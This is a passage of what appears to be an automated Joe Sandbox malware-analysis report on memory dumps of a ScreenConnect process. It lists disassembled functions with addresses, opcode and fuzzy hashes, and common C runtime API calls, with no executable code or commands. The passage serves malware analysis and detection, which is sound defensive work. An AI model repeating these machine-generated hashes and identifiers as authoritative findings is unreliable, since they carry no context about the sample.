                                                                                                                • Source File: 00000013.00000002.2491028905.0000000004870000.00000040.00000800.00020000.00000000.sdmp, Offset: 04870000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_19_2_4870000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 1a5531ff3170550677f51654d017c945576d1a6b95f3005fe2ff2b9c7d4ab116
                                                                                                                • Instruction ID: dc591176cf8c66a7678eed5ec5dd0573abd89bb29a9d6e351a469fda199bfbe5
                                                                                                                • Opcode Fuzzy Hash: 1a5531ff3170550677f51654d017c945576d1a6b95f3005fe2ff2b9c7d4ab116
                                                                                                                • Instruction Fuzzy Hash: 31F06D7490624AAFEF00EF60F46976ABFF0EB40A01F01CE28C5119B285DB785586CF81
                                                                                                                Function 0487054A Relevance: .0, Instructions: 30COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000013.00000002.2491028905.0000000004870000.00000040.00000800.00020000.00000000.sdmp, Offset: 04870000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_19_2_4870000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 9a5f988111d56990d2438ef0915498207c1224941102590b4a55feb437295763
                                                                                                                • Instruction ID: c564a15ce89147c6cbe3b91d18c283f89ea4d2d081671a40bfed0837d32b5498
                                                                                                                • Opcode Fuzzy Hash: 9a5f988111d56990d2438ef0915498207c1224941102590b4a55feb437295763
                                                                                                                • Instruction Fuzzy Hash: E0F05E317001188FDB15DF6AD454AAEB7E1EF8A710B0581A5EC05DF354EB35ED01CB81
                                                                                                                Function 04870A08 Relevance: .0, Instructions: 30COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000013.00000002.2491028905.0000000004870000.00000040.00000800.00020000.00000000.sdmp, Offset: 04870000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_19_2_4870000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 9dd1c80918d2d148d228a102599085b6047af9d2c0a5a7c7ca8f3d3eb327d3d4
                                                                                                                • Instruction ID: a66813ca888c249d31c605fd826233a94896aafa2619b5033d12d0ac33ec684a
                                                                                                                • Opcode Fuzzy Hash: 9dd1c80918d2d148d228a102599085b6047af9d2c0a5a7c7ca8f3d3eb327d3d4
                                                                                                                • Instruction Fuzzy Hash: B6E065767042186F5744DE5ED410D5BFBEADFC9220714C516F90CC7300D971ED528765
                                                                                                                Function 04877120 Relevance: .0, Instructions: 29COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000013.00000002.2491028905.0000000004870000.00000040.00000800.00020000.00000000.sdmp, Offset: 04870000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_19_2_4870000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 07341c28497de33c97cd9f78a3a18731c814ee8205e7bba534fa35ca2a15693e
                                                                                                                • Instruction ID: 6181a39bf0c2b1ad52e52c486fe375f01d5a6ee779dcd73faa92dea4b81bb4a1
                                                                                                                • Opcode Fuzzy Hash: 07341c28497de33c97cd9f78a3a18731c814ee8205e7bba534fa35ca2a15693e
                                                                                                                • Instruction Fuzzy Hash: 42F0BE753043408FC3048B28D400A99BBE2AF8A714B1588AED189CB3A2CA31EC42CB10
                                                                                                                Function 04870510 Relevance: .0, Instructions: 27COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000013.00000002.2491028905.0000000004870000.00000040.00000800.00020000.00000000.sdmp, Offset: 04870000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_19_2_4870000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 3ee36f9cf35ce3c993d4f2a2810e4643846e01b164f43e9a39714acbfd662be7
                                                                                                                • Instruction ID: 93165134553c9c0979ae8170640c49651ff4976e385cd43794a334070e9aeb44
                                                                                                                • Opcode Fuzzy Hash: 3ee36f9cf35ce3c993d4f2a2810e4643846e01b164f43e9a39714acbfd662be7
                                                                                                                • Instruction Fuzzy Hash: C7F06271E002199F8B44DFA9D84169EFBF5EF49210B64856AD918E7211E731AA128F90
                                                                                                                Function 04876E21 Relevance: .0, Instructions: 27COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000013.00000002.2491028905.0000000004870000.00000040.00000800.00020000.00000000.sdmp, Offset: 04870000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_19_2_4870000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 29a55b8ddef3cee69847c881bca6a801b9b5b07089ca33f55a8ceabec5ebbe2a
                                                                                                                • Instruction ID: f420472147e143943b0a18e1883f1b450e54c2b89313a2a1f248e15d9dff0877
                                                                                                                • Opcode Fuzzy Hash: 29a55b8ddef3cee69847c881bca6a801b9b5b07089ca33f55a8ceabec5ebbe2a
                                                                                                                • Instruction Fuzzy Hash: 34E0C9F6D401299BCB40DEE98C411DEFBB4EB49214B508465D92CE7201E2319B039FD0
                                                                                                                Function 048717C7 Relevance: .0, Instructions: 25COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000013.00000002.2491028905.0000000004870000.00000040.00000800.00020000.00000000.sdmp, Offset: 04870000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_19_2_4870000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 268f8270c92718c940776ef38add7005279f7ab9dd893ba55d7fd6c8c517b197
                                                                                                                • Instruction ID: 07d902f61e94e82637f1ed42789573e6dc836537e1bcf67dd01a33d5939f6239
                                                                                                                • Opcode Fuzzy Hash: 268f8270c92718c940776ef38add7005279f7ab9dd893ba55d7fd6c8c517b197
                                                                                                                • Instruction Fuzzy Hash: 81E0DF327022105FC718A62AEC609AAB7AAEBC8324B20883DD509C7355CA728C028650
                                                                                                                Function 048717C8 Relevance: .0, Instructions: 25COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000013.00000002.2491028905.0000000004870000.00000040.00000800.00020000.00000000.sdmp, Offset: 04870000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_19_2_4870000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 214a57d57b721b89769edb543786f6c7413cba299b382aa93e68866d458df84b
                                                                                                                • Instruction ID: a679b5fc358634c179184858c5ce24a78712edae45fef3cf43d6fd09c2a8a6fa
                                                                                                                • Opcode Fuzzy Hash: 214a57d57b721b89769edb543786f6c7413cba299b382aa93e68866d458df84b
                                                                                                                • Instruction Fuzzy Hash: D6E026323022145BC304A62EEC60957B7ABEBC8724F204838D60CC7355DD729C0282A0
                                                                                                                Function 04877130 Relevance: .0, Instructions: 25COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000013.00000002.2491028905.0000000004870000.00000040.00000800.00020000.00000000.sdmp, Offset: 04870000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_19_2_4870000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: ab26341cb53d9113f08b16071f83691625fdfbe254473c64d9f9c73c403773cb
                                                                                                                • Instruction ID: 0ac0590426cd60c53d3f4f6b7b1f3208d704ea0603f554042c7c6f37c10a0fb1
                                                                                                                • Opcode Fuzzy Hash: ab26341cb53d9113f08b16071f83691625fdfbe254473c64d9f9c73c403773cb
                                                                                                                • Instruction Fuzzy Hash: CBE012353002009FD3149B19D544E56B7E6EFC5B15B5588A9E549CB761CB71FC42CB90
                                                                                                                Function 04872E71 Relevance: .0, Instructions: 23COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000013.00000002.2491028905.0000000004870000.00000040.00000800.00020000.00000000.sdmp, Offset: 04870000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_19_2_4870000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 4dedec61b551fb033efc28a537394a98318bb248f0b06c5ebc67892029bff93c
                                                                                                                • Instruction ID: fcefa6c600094b68e7ff2f1bbf47fd74dc56f4ae029551fa4a758c8ef5b79c86
                                                                                                                • Opcode Fuzzy Hash: 4dedec61b551fb033efc28a537394a98318bb248f0b06c5ebc67892029bff93c
                                                                                                                • Instruction Fuzzy Hash: A5E0D830509388EFC741EF6DE90059DFBF4EF56200B1089EAC548DB322DA325E088751
                                                                                                                Function 04876E30 Relevance: .0, Instructions: 20COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000013.00000002.2491028905.0000000004870000.00000040.00000800.00020000.00000000.sdmp, Offset: 04870000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_19_2_4870000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: fa926553dbea9c7a5430891b9108979a3f16cc4d36da4f487aa00aa9d94c7079
                                                                                                                • Instruction ID: 00cac0902de5fa9fad5a27d79fa8bde2fe013fed006772bcac85dc4bc83e2d50
                                                                                                                • Opcode Fuzzy Hash: fa926553dbea9c7a5430891b9108979a3f16cc4d36da4f487aa00aa9d94c7079
                                                                                                                • Instruction Fuzzy Hash: 70E0B671E002299F8B80EFADD9415AEFBF4EF48214B60856AD91CE7201E3319B128FD1
                                                                                                                Function 048767A0 Relevance: .0, Instructions: 18COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000013.00000002.2491028905.0000000004870000.00000040.00000800.00020000.00000000.sdmp, Offset: 04870000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_19_2_4870000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: e0887461f0ef8ef7c317c27a84f76f4968e58d0b33a4bc7767a9fd74045cfa36
                                                                                                                • Instruction ID: af9d46d86fa830542394de31caf29200b6056b1af036c56444a3fa1c0f25b3f8
                                                                                                                • Opcode Fuzzy Hash: e0887461f0ef8ef7c317c27a84f76f4968e58d0b33a4bc7767a9fd74045cfa36
                                                                                                                • Instruction Fuzzy Hash: C3D05E343512144FC748E77CE46885A7BEAAF896613509064E40DCB360DE21EC0197D0
                                                                                                                Function 04872E80 Relevance: .0, Instructions: 16COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000013.00000002.2491028905.0000000004870000.00000040.00000800.00020000.00000000.sdmp, Offset: 04870000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_19_2_4870000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 8623031c5cef34df2bc9bded8c6bbd05b40c2b948935ca229395eefe25f57d33
                                                                                                                • Instruction ID: d1b6a6e209b3a0071f9e07f81fc98343a5a537bb9fbd6b50d4b4ba5064784461
                                                                                                                • Opcode Fuzzy Hash: 8623031c5cef34df2bc9bded8c6bbd05b40c2b948935ca229395eefe25f57d33
                                                                                                                • Instruction Fuzzy Hash: 81D05E70A0120CEFCB40EFA9E90559DF7B9FB49204B1086A9D908E7300EA32AF049B81
                                                                                                                Function 048778A0 Relevance: .0, Instructions: 16COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000013.00000002.2491028905.0000000004870000.00000040.00000800.00020000.00000000.sdmp, Offset: 04870000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_19_2_4870000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 16dfcc1644dce2af77addf68e0e4e29f1ecbefdd08bd31ff1f9be5d56c2066d7
                                                                                                                • Instruction ID: 9d6f1911cdfc3a3c35f5066b0e258e6f299840a5b6cb40505c847189928afc8f
                                                                                                                • Opcode Fuzzy Hash: 16dfcc1644dce2af77addf68e0e4e29f1ecbefdd08bd31ff1f9be5d56c2066d7
                                                                                                                • Instruction Fuzzy Hash: 4FD06774A0120DEF9B40EFA8E94659DB7B9EB45248B1049A9DA09E7300EA31AE059B91
                                                                                                                Function 04870BA0 Relevance: .0, Instructions: 15COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000013.00000002.2491028905.0000000004870000.00000040.00000800.00020000.00000000.sdmp, Offset: 04870000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_19_2_4870000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: ac87cfec5fc28821ed2169376330a576d815a1360b0d908df064275ab7cd6bbc
                                                                                                                • Instruction ID: bb0ea5f64743c87f4f187999c91d966fc8c8c80d6ce3155842cb4beb0a2755b0
                                                                                                                • Opcode Fuzzy Hash: ac87cfec5fc28821ed2169376330a576d815a1360b0d908df064275ab7cd6bbc
                                                                                                                • Instruction Fuzzy Hash: 7EE0C232404B88CFC702FB74C2540A97BB0EEC6300B058A8FD4CA9B132EB38A584E741
                                                                                                                Function 04870BB0 Relevance: .0, Instructions: 12COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000013.00000002.2491028905.0000000004870000.00000040.00000800.00020000.00000000.sdmp, Offset: 04870000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_19_2_4870000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: c72b5900e06febc1dbd99da276eea3c474e737d3d3bb754fb28c2c19f2d0a6c8
                                                                                                                • Instruction ID: f7165285251e8f04a920baa1d558114ef61b9200867a2895104b799bc93f1c0d
                                                                                                                • Opcode Fuzzy Hash: c72b5900e06febc1dbd99da276eea3c474e737d3d3bb754fb28c2c19f2d0a6c8
                                                                                                                • Instruction Fuzzy Hash: F4D0C932814B0D8ACB00BBB8D5544A9B7B8EED5340F00CA5AE88A67121FF74E6D0E681
                                                                                                                Function 04874C50 Relevance: .0, Instructions: 7COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000013.00000002.2491028905.0000000004870000.00000040.00000800.00020000.00000000.sdmp, Offset: 04870000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_19_2_4870000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: a531af133b635aac3e52e8b13b6f30a5a3b50d90054d6b5c01e5167639eb74ae
                                                                                                                • Instruction ID: 7abb4dc9057d5a36c5f2894a792de06858fdbbf429b36b6213cf6d8bac68c385
                                                                                                                • Opcode Fuzzy Hash: a531af133b635aac3e52e8b13b6f30a5a3b50d90054d6b5c01e5167639eb74ae
                                                                                                                • Instruction Fuzzy Hash: FDB0128200FBF42FDA03D3244529B8A2F505B83004FCE48E9C2D1EF123D408C119D3D2

                                                                                                                Non-executed Functions

                                                                                                                Function 04A53684 Relevance: .1, Instructions: 63COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000013.00000002.2493031717.0000000004A52000.00000002.00000001.01000000.00000011.sdmp, Offset: 04A50000, based on PE: true
                                                                                                                • Associated: 00000013.00000002.2492998032.0000000004A50000.00000002.00000001.01000000.00000011.sdmpDownload File
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_19_2_4a50000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: fa0bf766ce273a47b230c27f1784a0aae6f0572a44361247dba46a5cdbc47c70
                                                                                                                • Instruction ID: b2cfa8d696f548cf8f240c19b2eecf93d141048dac379313e0c36efe1960a5eb
                                                                                                                • Opcode Fuzzy Hash: fa0bf766ce273a47b230c27f1784a0aae6f0572a44361247dba46a5cdbc47c70
                                                                                                                • Instruction Fuzzy Hash: 5F11455110E7C28FDB03AB785E780D5BF71AE9320434E49C7D4C18E4A3EA251A5ACB36
                                                                                                                Function 04BE3FFB Relevance: .0, Instructions: 23COMMONLIBRARYCODE
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000013.00000002.2493031717.0000000004A52000.00000002.00000001.01000000.00000011.sdmp, Offset: 04A50000, based on PE: true
                                                                                                                • Associated: 00000013.00000002.2492998032.0000000004A50000.00000002.00000001.01000000.00000011.sdmpDownload File
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_19_2_4a50000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 92e08cc1781909cd972903b5f8f632cf9dc1aa5494cba561f31d9f8a5f59e576
                                                                                                                • Instruction ID: 33ab6f85f0e131e67d08db06f5e53419d29e377c58721bfbf43e87305ad744a2
                                                                                                                • Opcode Fuzzy Hash: 92e08cc1781909cd972903b5f8f632cf9dc1aa5494cba561f31d9f8a5f59e576
                                                                                                                • Instruction Fuzzy Hash: 5FE04F32911128EBC725DAD9894496AF3ECE785B15B1101E6F504D3102C670AE00C7D0
                                                                                                                Function 04B17520 Relevance: .0, Instructions: 22COMMONLIBRARYCODE
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000013.00000002.2493031717.0000000004A52000.00000002.00000001.01000000.00000011.sdmp, Offset: 04A50000, based on PE: true
                                                                                                                • Associated: 00000013.00000002.2492998032.0000000004A50000.00000002.00000001.01000000.00000011.sdmpDownload File
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_19_2_4a50000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: a2e467cfb652209812f7b2e09665d2d8a3d76f98210ec550e73bb59d66d8fa8a
                                                                                                                • Instruction ID: 11dd5efb419a94f149108da3b2eb485042a96f2cd0f11721f1b140160023c4b2
                                                                                                                • Opcode Fuzzy Hash: a2e467cfb652209812f7b2e09665d2d8a3d76f98210ec550e73bb59d66d8fa8a
                                                                                                                • Instruction Fuzzy Hash: 8BE0EC72A11268EBCB25DB98C94598AF3FCFB85B54B6544D6B502D3120D670EE04CBD0
                                                                                                                Function 04BE2DAA Relevance: .0, Instructions: 21COMMONLIBRARYCODE
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000013.00000002.2493031717.0000000004A52000.00000002.00000001.01000000.00000011.sdmp, Offset: 04A50000, based on PE: true
                                                                                                                • Associated: 00000013.00000002.2492998032.0000000004A50000.00000002.00000001.01000000.00000011.sdmpDownload File
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_19_2_4a50000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 67cc4c510516cb56cfc5cd7e657bd14ed18c831d93a88747e17578d55a11eb80
                                                                                                                • Instruction ID: ee0be7bfb618f979adac8bd276cf9a687bfd1a56038bb96692c25803fd662330
                                                                                                                • Opcode Fuzzy Hash: 67cc4c510516cb56cfc5cd7e657bd14ed18c831d93a88747e17578d55a11eb80
                                                                                                                • Instruction Fuzzy Hash: 8EE0463600059CEFEB1A6F66CD88E683B6CFB84251B004894FD06CA131CB36ED81EB80
                                                                                                                Function 04B1558A Relevance: .0, Instructions: 12COMMONLIBRARYCODE
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000013.00000002.2493031717.0000000004A52000.00000002.00000001.01000000.00000011.sdmp, Offset: 04A50000, based on PE: true
                                                                                                                • Associated: 00000013.00000002.2492998032.0000000004A50000.00000002.00000001.01000000.00000011.sdmpDownload File
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_19_2_4a50000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: c1a3617c513dc33cdc1cb0cb392cbab31fdb7660fc671162ee05b1cacdbee6cb
                                                                                                                • Instruction ID: 728ee3bc1ba57cc9fc193eeae149a0e7f457a565b19bc2cfd52476ed674dac90
                                                                                                                • Opcode Fuzzy Hash: c1a3617c513dc33cdc1cb0cb392cbab31fdb7660fc671162ee05b1cacdbee6cb
                                                                                                                • Instruction Fuzzy Hash: E9C08C38011910DACF39892092703A433B6E3C1782FC404CEC4070B761CA2EF882D600
                                                                                                                Function 04BE68DF Relevance: 19.6, APIs: 13, Instructions: 114COMMONLIBRARYCODE
                                                                                                                Download Yara Rule
                                                                                                                APIs
                                                                                                                • _free.LIBCMT ref: 04BE6918
                                                                                                                • ___free_lconv_mon.LIBCMT ref: 04BE6923
                                                                                                                  • Part of subcall function 04BE8801: _free.LIBCMT ref: 04BE881E
                                                                                                                  • Part of subcall function 04BE8801: _free.LIBCMT ref: 04BE8830
                                                                                                                  • Part of subcall function 04BE8801: _free.LIBCMT ref: 04BE8842
                                                                                                                  • Part of subcall function 04BE8801: _free.LIBCMT ref: 04BE8854
                                                                                                                  • Part of subcall function 04BE8801: _free.LIBCMT ref: 04BE8866
                                                                                                                  • Part of subcall function 04BE8801: _free.LIBCMT ref: 04BE8878
                                                                                                                  • Part of subcall function 04BE8801: _free.LIBCMT ref: 04BE888A
                                                                                                                  • Part of subcall function 04BE8801: _free.LIBCMT ref: 04BE889C
                                                                                                                  • Part of subcall function 04BE8801: _free.LIBCMT ref: 04BE88AE
                                                                                                                  • Part of subcall function 04BE8801: _free.LIBCMT ref: 04BE88C0
                                                                                                                  • Part of subcall function 04BE8801: _free.LIBCMT ref: 04BE88D2
                                                                                                                  • Part of subcall function 04BE8801: _free.LIBCMT ref: 04BE88E4
                                                                                                                  • Part of subcall function 04BE8801: _free.LIBCMT ref: 04BE88F6
                                                                                                                • _free.LIBCMT ref: 04BE693A
                                                                                                                • _free.LIBCMT ref: 04BE694F
                                                                                                                • _free.LIBCMT ref: 04BE695A
                                                                                                                • _free.LIBCMT ref: 04BE697C
                                                                                                                • _free.LIBCMT ref: 04BE698F
                                                                                                                • _free.LIBCMT ref: 04BE699D
                                                                                                                • _free.LIBCMT ref: 04BE69A8
                                                                                                                • _free.LIBCMT ref: 04BE69E0
                                                                                                                • _free.LIBCMT ref: 04BE69E7
                                                                                                                • _free.LIBCMT ref: 04BE6A04
                                                                                                                • _free.LIBCMT ref: 04BE6A1C
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000013.00000002.2493031717.0000000004A52000.00000002.00000001.01000000.00000011.sdmp, Offset: 04A50000, based on PE: true
                                                                                                                • Associated: 00000013.00000002.2492998032.0000000004A50000.00000002.00000001.01000000.00000011.sdmpDownload File
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_19_2_4a50000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID: _free$___free_lconv_mon
                                                                                                                • String ID:
                                                                                                                • API String ID: 3658870901-0
                                                                                                                • Opcode ID: 21c8ab5bf72a3c657bbd13cf6cd03a91d0600e392b7ed8fe464787411751a46c
                                                                                                                • Instruction ID: 0498642c9987417d2bb79ed641c79121435b4f4b04639e3dbf312dc0393eb697
                                                                                                                • Opcode Fuzzy Hash: 21c8ab5bf72a3c657bbd13cf6cd03a91d0600e392b7ed8fe464787411751a46c
                                                                                                                • Instruction Fuzzy Hash: BF317C31A003049FEB20AE3BD944B7A73E9EFE5314F9055A9E959D7550DF31F8918B20
                                                                                                                Function 04BE3BC3 Relevance: 15.1, APIs: 10, Instructions: 70COMMON
                                                                                                                Download Yara Rule
                                                                                                                APIs
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000013.00000002.2493031717.0000000004A52000.00000002.00000001.01000000.00000011.sdmp, Offset: 04A50000, based on PE: true
                                                                                                                • Associated: 00000013.00000002.2492998032.0000000004A50000.00000002.00000001.01000000.00000011.sdmpDownload File
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_19_2_4a50000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID: _free
                                                                                                                • String ID:
                                                                                                                • API String ID: 269201875-0
                                                                                                                • Opcode ID: a779e8cc5e7304c4579ee2cde813f5740f07d7d7467c199c7b57615ad5cb6bad
                                                                                                                • Instruction ID: 7524792383a5860f86ecb891f5456ce987f4630247cdb09cc7f1b0bdce755186
                                                                                                                • Opcode Fuzzy Hash: a779e8cc5e7304c4579ee2cde813f5740f07d7d7467c199c7b57615ad5cb6bad
                                                                                                                • Instruction Fuzzy Hash: CB21BB7690010CBFDB11EF96C880DED7BF8EF88254F4051A5E9199B120DB31FA568B90
                                                                                                                Function 04B11868 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 117COMMON
                                                                                                                Download Yara Rule
                                                                                                                APIs
                                                                                                                • _ValidateLocalCookies.LIBCMT ref: 04B11893
                                                                                                                • ___except_validate_context_record.LIBVCRUNTIME ref: 04B1189B
                                                                                                                • _ValidateLocalCookies.LIBCMT ref: 04B11929
                                                                                                                • __IsNonwritableInCurrentImage.LIBCMT ref: 04B11954
                                                                                                                • _ValidateLocalCookies.LIBCMT ref: 04B119A9
                                                                                                                Strings
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000013.00000002.2493031717.0000000004A52000.00000002.00000001.01000000.00000011.sdmp, Offset: 04A50000, based on PE: true
                                                                                                                • Associated: 00000013.00000002.2492998032.0000000004A50000.00000002.00000001.01000000.00000011.sdmpDownload File
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_19_2_4a50000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
                                                                                                                • String ID: csm
                                                                                                                • API String ID: 1170836740-1018135373
                                                                                                                • Opcode ID: b68b50865adad265fc790d0410277604aecacaed652b129fe0bbe83d8c374764
                                                                                                                • Instruction ID: 2e25efb7e9b1bd8120cae8ff0d80580692246ddaee79f5a3b3c569aa829315ad
                                                                                                                • Opcode Fuzzy Hash: b68b50865adad265fc790d0410277604aecacaed652b129fe0bbe83d8c374764
                                                                                                                • Instruction Fuzzy Hash: A841A730A001189BDF10DF6CC88499E7BB5EF49358F9481A5EA255B265D735FA05CB90
                                                                                                                Function 04BE1338 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 117COMMON
                                                                                                                Download Yara Rule
                                                                                                                APIs
                                                                                                                • _ValidateLocalCookies.LIBCMT ref: 04BE1363
                                                                                                                • ___except_validate_context_record.LIBVCRUNTIME ref: 04BE136B
                                                                                                                • _ValidateLocalCookies.LIBCMT ref: 04BE13F9
                                                                                                                • __IsNonwritableInCurrentImage.LIBCMT ref: 04BE1424
                                                                                                                • _ValidateLocalCookies.LIBCMT ref: 04BE1479
                                                                                                                Strings
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000013.00000002.2493031717.0000000004A52000.00000002.00000001.01000000.00000011.sdmp, Offset: 04A50000, based on PE: true
                                                                                                                • Associated: 00000013.00000002.2492998032.0000000004A50000.00000002.00000001.01000000.00000011.sdmpDownload File
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_19_2_4a50000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
                                                                                                                • String ID: csm
                                                                                                                • API String ID: 1170836740-1018135373
